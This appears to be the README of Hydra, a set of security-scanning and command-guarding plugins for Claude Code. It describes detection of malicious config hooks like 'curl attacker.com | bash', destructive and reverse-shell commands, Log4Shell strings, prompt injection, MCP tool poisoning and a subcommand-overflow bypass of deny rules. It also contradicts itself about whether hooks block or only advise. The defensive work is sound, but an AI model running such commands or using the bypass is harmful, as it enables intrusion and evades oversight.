Hydra

Hydra

> An @enchanter-ai product — algorithm-driven, agent-managed, self-learning.

15 plugins (+ 1 meta-installer). 5 agents. 1,844 patterns. 8 algorithms. 98 CWEs. 20 attack databases. Zero dependencies.

Plugin count breakdown: 5 scanner plugins (each with a Sonnet/Haiku agent), 4 advisory hook plugins, 2 compliance plugins, 4 opt-in / post-filter plugins (capability-shield, egress-shield, reach-filter, state-integrity), and 1 meta-installer (full). Of the 16 directories under plugins/, the full plugin contains no logic of its own — it exists only to install the other 15 as dependencies.

Built from blood — every pattern traces back to a real CVE, a real breach, or a real research paper.

> Clone a malicious repo. Open it in Claude Code. > > Before you type a single command, config-shield has already flagged the hidden > postinstall script in package.json, the API-key-stealing hook in .claude/settings.json, > and the Unicode-obfuscated backdoor in .cursorrules. > > You start coding. Hydra catches the PostgreSQL connection string on line 12, flags > the pickle.loads() as CWE-502, spots the JWT signed with alg: "none", blocks the > rm -rf /tmp/*, and quarantines a typosquatted npm package — all before you finish > your coffee. > > End of session: 6 secrets masked, 4 vulns mapped to CWEs, 1 command blocked, > 2 phantom dependencies caught, 0 incidents. Dark-themed HTML report generated. > > Total overhead:

Source: [docs/assets/pipeline.mmd](docs/assets/pipeline.mmd) · Regeneration command in [docs/assets/README.md](docs/assets/README.md).

No permission prompts. No manual scanning. Every tool call is monitored. Dangerous commands are blocked before they execute.

What Makes Hydra Different

It runs at write-time, not push-time

GitHub Secret Scanning runs on push. Snyk runs in CI. semgrep runs in a pipeline. By the time they catch something, the secret is already in git history, the vulnerability is already deployed, the command has already executed.

Hydra hooks into Claude Code's tool lifecycle. scan-secrets.sh fires on every Write/Edit. guard-action.sh fires on every Bash call — before it executes. Exit code 2 blocks the tool entirely. The secret never reaches the file. The rm -rf / never runs.

It blocks commands, not just reports them

Action-guard is a PreToolUse hook — it sees the command before Claude Code executes it. When it detects rm -rf /, DROP TABLE, curl | bash, or a reverse shell, it exits with code 2 and the command is cancelled.

[Hydra] BLOCKED: Recursive force delete from filesystem root (mode: balanced)

Three strictness modes:

| Mode | Block patterns | Warn patterns | Use when | |------|---------------|---------------|----------| | strict | BLOCK | BLOCK | High-security environments, prod-adjacent repos | | balanced (default) | BLOCK | WARN (stderr) | Day-to-day development | | permissive | WARN | WARN | Trusted code, prototyping |

It detects attacks no other tool catches

Config poisoning (R5): Scans for malicious config files on session start — .claude/settings.json with hooks that execute curl attacker.com | bash, .claudecode/settings.json stealing API keys, .vscode/tasks.json auto-executing on folder open. Real CVEs that no other tool detects.

AI agent attacks: 116 patterns for prompt injection, MCP tool poisoning (incl. rug-pull descriptor mutation + schema $ref remote-load + homoglyph tool-name spoofing), invisible Unicode in rules files, markdown-image exfiltration (CamoLeak CVE-2025-59145), ANSI-escape output smuggling, jailbreak detection, and rules file backdoors. Built for the age of coding agents.

Subcommand overflow (R7): Adversa AI discovered that commands with 50+ subcommands bypass deny rules. Hydra counts first, matches second.

Phantom dependencies (R6): 20% of AI-suggested packages don't exist (USENIX 2025). Attackers register those names. 199 known hallucinated/typosquatted packages + Levenshtein distance catches the rest.

It never logs your secrets

Every layer enforces masking. mask_secret() shows only first 4 and last 4 characters:

[Hydra] CRITICAL SECRET: aws-access-key-id in config.py:12 (masked: AKIA...MPLE)

The full value never appears in stderr, audit logs, metrics, or reports. Not in any code path.

It learns across sessions

The EMA Posture Decay engine (R8) tracks security posture over time:

Patterns you consistently dismiss get lower severity. Chronic vulnerabilities escalate. The engine gets smarter with every session.

The Full Lifecycle

A single session flows left to right through five stages. Config Shield runs once at SessionStart and reports via /hydra:config-check. Every Bash call routes through Action Guard (PreToolUse, /hydra:safety). If the command is allowed, every Write/Edit fans out in parallel to Secret Scanner (/hydra:secrets) and Vuln Detector (/hydra:vulns). All events land in Audit Trail (/hydra:audit).

Source: [docs/assets/lifecycle.mmd](docs/assets/lifecycle.mmd) · Regeneration command in [docs/assets/README.md](docs/assets/README.md).

Install

Hydra ships as 15 plugins layering defenses across SessionStart / PreToolUse / PostToolUse, plus a 16th full meta-plugin that lists the other 15 as dependencies so a single install pulls in the whole stack.

In Claude Code (recommended):

/plugin marketplace add enchanter-ai/hydra
/plugin install full@hydra

Claude Code resolves the dependency list and installs all 15 plugins. Verify with /plugin list.

Want to cherry-pick? Individual plugins are still installable by name — e.g. /plugin install hydra-secret-scanner@hydra if you only need credential scanning. Each plugin covers a different attack surface, though, so full@hydra is the path we recommend for real defense-in-depth.

Via shell (also installs shared/*.sh and shared/scripts/*.py locally so hooks work offline):

bash 
  
    
  

Source: [docs/assets/state-flow.mmd](docs/assets/state-flow.mmd) · Regeneration command in [docs/assets/README.md](docs/assets/README.md).

## Roadmap

Tracked in [docs/ROADMAP.md](docs/ROADMAP.md) and the shared [ecosystem map](docs/ecosystem.md). For upcoming work specific to Hydra, see issues tagged [roadmap](https://github.com/enchanter-ai/hydra/labels/roadmap). Pattern-database additions (new CVEs, OWASP LLM Top 10 revisions, new CWE coverage) ship in minor / patch releases; the ROADMAP captures engine-level changes.

plugins/audit-trail/state/ ├── audit.jsonl Every security event, JSONL, 10MB rotation └── metrics.jsonl Aggregate scan metrics

plugins/secret-scanner/state/ ├── audit.jsonl Secret findings with masked values └── metrics.jsonl Scan counts and timing

plugins/action-guard/state/ ├── audit.jsonl Blocked/warned commands with reasons └── config.json Strictness mode (strict/balanced/permissive)

/tmp/hydra-report.html Dark-themed HTML security report

The **HTML security report** includes severity distribution bars, CWE pills, finding-by-finding breakdown, per-file risk summary, and an overall verdict (CLEAN / CAUTION / WARNING / CRITICAL).

## The Science Behind Hydra

Every engine is built on a formal mathematical model. Full derivations in [`docs/science/README.md`](docs/science/README.md).

### R1: Aho-Corasick Pattern Engine

Trie with failure links. The hook uses `grep -Eof` with one pattern per line for native C speed (

 4.5 AND length >= 20">

Catches secrets that don't match any known pattern but have suspiciously high randomness.

### R3: OWASP Vulnerability Graph

Language-aware CWE pattern matching. Comment detection reduces false positives. Maps to OWASP Top 10 2021.

### R4: Markov Action Classification

State-machine classification against 113 dangerous command patterns. Exit 2 blocks execution.

### R5: Config Poisoning Detection

122 attack signatures across 30+ config file types. Base64 payload decoding. Hidden Unicode detection.

### R6: Phantom Dependency Detection

Levenshtein distance for typosquat detection. 199 known hallucinated/malicious packages across 5 ecosystems.

### R7: Subcommand Overflow Detection

 50">

Adversa AI discovered that safety filters fail when overwhelmed with subcommands. Hydra counts before matching.

### R8: EMA Posture Decay

Cross-session EMA of threat rates. Dismissed patterns decay. Chronic patterns escalate.

---

*Full derivations: [`docs/science/README.md`](docs/science/README.md). Every formula maps to running code in `shared/scripts/`.*

## The 20 Pattern Databases

### Threat Intelligence (1,844 patterns across 20 databases)

| Database | Patterns | What it detects |
|----------|----------|-----------------|
| **secrets.json** | 319 | AWS, GCP, Azure, OpenAI (+sk-proj, +sk-svcacct), Anthropic (+admin01), xAI, LangSmith, LangFuse, Pinecone v2, Supabase v2, NVIDIA NGC, Together AI, HF, GitHub, GitLab, Stripe, Slack, JWT, private keys, connection strings — 90+ providers |
| **vulns.json** | 156 | SQL injection, XSS, path traversal, command injection, SSRF, deserialization, CORS, insecure random, SSTI — OWASP Top 10 |
| **dangerous-ops.json** | 113 | `rm -rf /`, `DROP TABLE`, `curl\|bash`, base64-decode exec, reverse shells, K8s delete, Docker privileged, Terraform destroy, untrusted `npx`/`uvx`/`claude mcp add` launchers, `.claude/settings.json` direct writes |
| **config-attacks.json** | 122 | CVE-2025-59536, CVE-2025-54135, CVE-2026-21852, CVE-2026-33068 (`bypassPermissions`), CVE-2026-35022 (`apiKeyHelper` shell injection) — .claude hooks, .vscode autorun, .npmrc hijack, .mcp.json inline shell, hidden Unicode |
| **slopsquatting.json** | 199 | AI-hallucinated packages across npm, PyPI, Cargo, Go, RubyGems + Levenshtein typosquats |
| **cicd-attacks.json** | 130 | GitHub Actions `${{ }}` injection, `pull_request_target` abuse, Jenkins Groovy escape, GitLab CI dind, Azure DevOps variable injection |
| **container-security.json** | 113 | Dockerfile USER root, K8s privileged containers, hostNetwork, capabilities ALL, Helm secrets, docker-compose socket mounts |
| **iac-misconfig.json** | 120 | Terraform S3 public, IAM wildcard, open security groups — CloudFormation, ARM templates, Pulumi equivalents |
| **crypto-weakness.json** | 90 | MD5/SHA1, DES/RC4, ECB mode, hardcoded keys, weak RSA, bcrypt low rounds, TLS verification disabled |
| **auth-bypass.json** | 80 | JWT alg:none, session fixation, CSRF disabled, OAuth missing state, mass assignment, IDOR patterns |
| **ssrf-patterns.json** | 61 | Cloud metadata (AWS/GCP/Azure/Alibaba), localhost bypass (hex/octal/IPv6), scheme abuse (gopher/file/dict), user-URL fetch |
| **api-security.json** | 81 | GraphQL introspection, no rate limit on login, CORS reflect origin, WebSocket no auth, gRPC no TLS |
| **ai-agent-attacks.json** | 116 | Prompt injection, 18 MCP patterns (poisoning, shadowing, rug-pull descriptor mutation, schema `$ref` remote-load, name homoglyph), CamoLeak markdown-image exfil, ANSI-escape output smuggling, jailbreaks, rules file backdoors, invisible Unicode |
| **regex-dos.json** | 44 | Nested quantifiers `(a+)+`, overlapping alternation, evil email regex, `new RegExp(userInput)` |
| **deserialization.json** | 69 | Java ObjectInputStream, Python pickle, PHP unserialize, Ruby Marshal, .NET BinaryFormatter, Node serialize |
| **file-operations.json** | 50 | Zip slip, symlink race, TOCTOU, predictable temp files, upload without validation, LFI/RFI |
| **logging-forgery.json** | 41 | Log4Shell `${jndi:ldap://}`, CRLF injection, passwords in logs, ANSI escape injection |
| **prototype-pollution.json** | 35 | `__proto__` assignment, lodash.merge (CVE-2018-3721), JSON.parse spread, Express req.body pollution |
| **dependency-confusion.json** | 50 | npm preinstall abuse, lockfile registry mismatch, version wildcards, protestware, manifest confusion |
| **header-security.json** | 50 | CSP unsafe-inline/unsafe-eval, missing HSTS, X-Frame-Options ALLOWALL, directory listing, .git exposure |

### Coverage by Attack Surface

| Attack Surface | Databases | Combined Patterns |
|----------------|-----------|-------------------|
| **Secrets & credentials** | secrets, crypto-weakness | 409 |
| **Code vulnerabilities** | vulns, deserialization, file-operations, regex-dos, prototype-pollution, logging-forgery | 395 |
| **Infrastructure** | container-security, iac-misconfig, header-security | 283 |
| **CI/CD & supply chain** | cicd-attacks, dependency-confusion, slopsquatting | 379 |
| **Auth & API** | auth-bypass, ssrf-patterns, api-security | 222 |
| **AI/LLM agent** | ai-agent-attacks, config-attacks | 238 |
| **Dangerous commands** | dangerous-ops | 113 |

## vs Everything Else

| | Hydra | GitHub Secret Scanning | Snyk | semgrep | GitGuardian |
|---|---|---|---|---|---|
| Patterns | **1,844** | ~200 | ~1,000 | ~2,500 (rules) | ~400 |
| CWE coverage | **98 CWEs** | Secrets only | Varies | Varies | Secrets only |
| Scan timing | **Per-write** (real-time) | Push-time | CI pipeline | CI pipeline | Push-time |
| Command guarding | **PreToolUse advisory (exit 0 + stderr injection)** | — | — | — | — |
| Config poisoning | **122 signatures, 8 CVEs** | — | — | — | — |
| AI agent attacks | **116 patterns** | — | — | — | — |
| CI/CD injection | **130 patterns** | — | — | Partial | — |
| Container security | **113 patterns** | — | ✓ | ✓ | — |
| IaC scanning | **120 patterns** | — | ✓ | Partial | — |
| Supply chain | **249 packages + heuristics** | — | ✓ | — | — |
| Subcommand overflow | **R7 (Adversa AI bypass)** | — | — | — | — |
| Self-learning | **EMA across sessions** | — | — | — | — |
| Secret masking | **Enforced (first4...last4)** | ✓ | ✓ | — | ✓ |
| AI-agent aware | **Purpose-built for Claude Code** | — | — | — | — |
| Dependencies | **bash + jq (stdlib)** | GitHub | Node.js | Python | SaaS |
| Price | **Free (MIT)** | Free (public) / $$ | $$$ | Free / $$$ | $$$ |

## Agent Conduct (11 Modules)

Every skill inherits a reusable behavioral contract from [shared/](shared/) — loaded once into [CLAUDE.md](CLAUDE.md), applied across all plugins. This is how Claude *acts* inside Hydra: deterministic, surgical, verifiable. Not a suggestion; a contract.

| Module | What it governs |
|--------|-----------------|
| [discipline.md](../vis/packages/core/conduct/discipline.md) | Coding conduct: think-first, simplicity, surgical edits, goal-driven loops |
| [context.md](../vis/packages/core/conduct/context.md) | Attention-budget hygiene, U-curve placement, checkpoint protocol |
| [verification.md](../vis/packages/core/conduct/verification.md) | Independent checks, baseline snapshots, dry-run for destructive ops |
| [delegation.md](../vis/packages/core/conduct/delegation.md) | Subagent contracts, tool whitelisting, parallel vs. serial rules |
| [failure-modes.md](../vis/packages/core/conduct/failure-modes.md) | 14-code taxonomy for accumulated-learning logs |
| [tool-use.md](../vis/packages/core/conduct/tool-use.md) | Tool-choice hygiene, error payload contract, parallel-dispatch rules |
| [skill-authoring.md](../vis/packages/skills/conduct/skill-authoring.md) | SKILL.md frontmatter discipline, discovery test |
| [hooks.md](../vis/packages/core/conduct/hooks.md) | Advisory-only hooks, injection over denial, fail-open |
| [precedent.md](../vis/packages/core/conduct/precedent.md) | Log self-observed failures to `state/precedent-log.md`; consult before risky steps |
| [tier-sizing.md](../vis/packages/core/conduct/tier-sizing.md) | Prompt verbosity scales inversely with model tier; Haiku needs mechanical steps, Opus runs on intent |
| [web-fetch.md](../vis/packages/web/conduct/web-fetch.md) | External URL handling: cache, dedup, budget; WebFetch is Haiku-tier-only |

## Architecture

Interactive architecture explorer with plugin diagrams, hook binding maps, and data flow:

**[docs/archite

…

## Source & license

This open-source MCP server is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [enchanter-ai](https://github.com/enchanter-ai)
- **Source:** [enchanter-ai/hydra](https://github.com/enchanter-ai/hydra)
- **License:** MIT

Install and usage instructions live in the source repository linked above.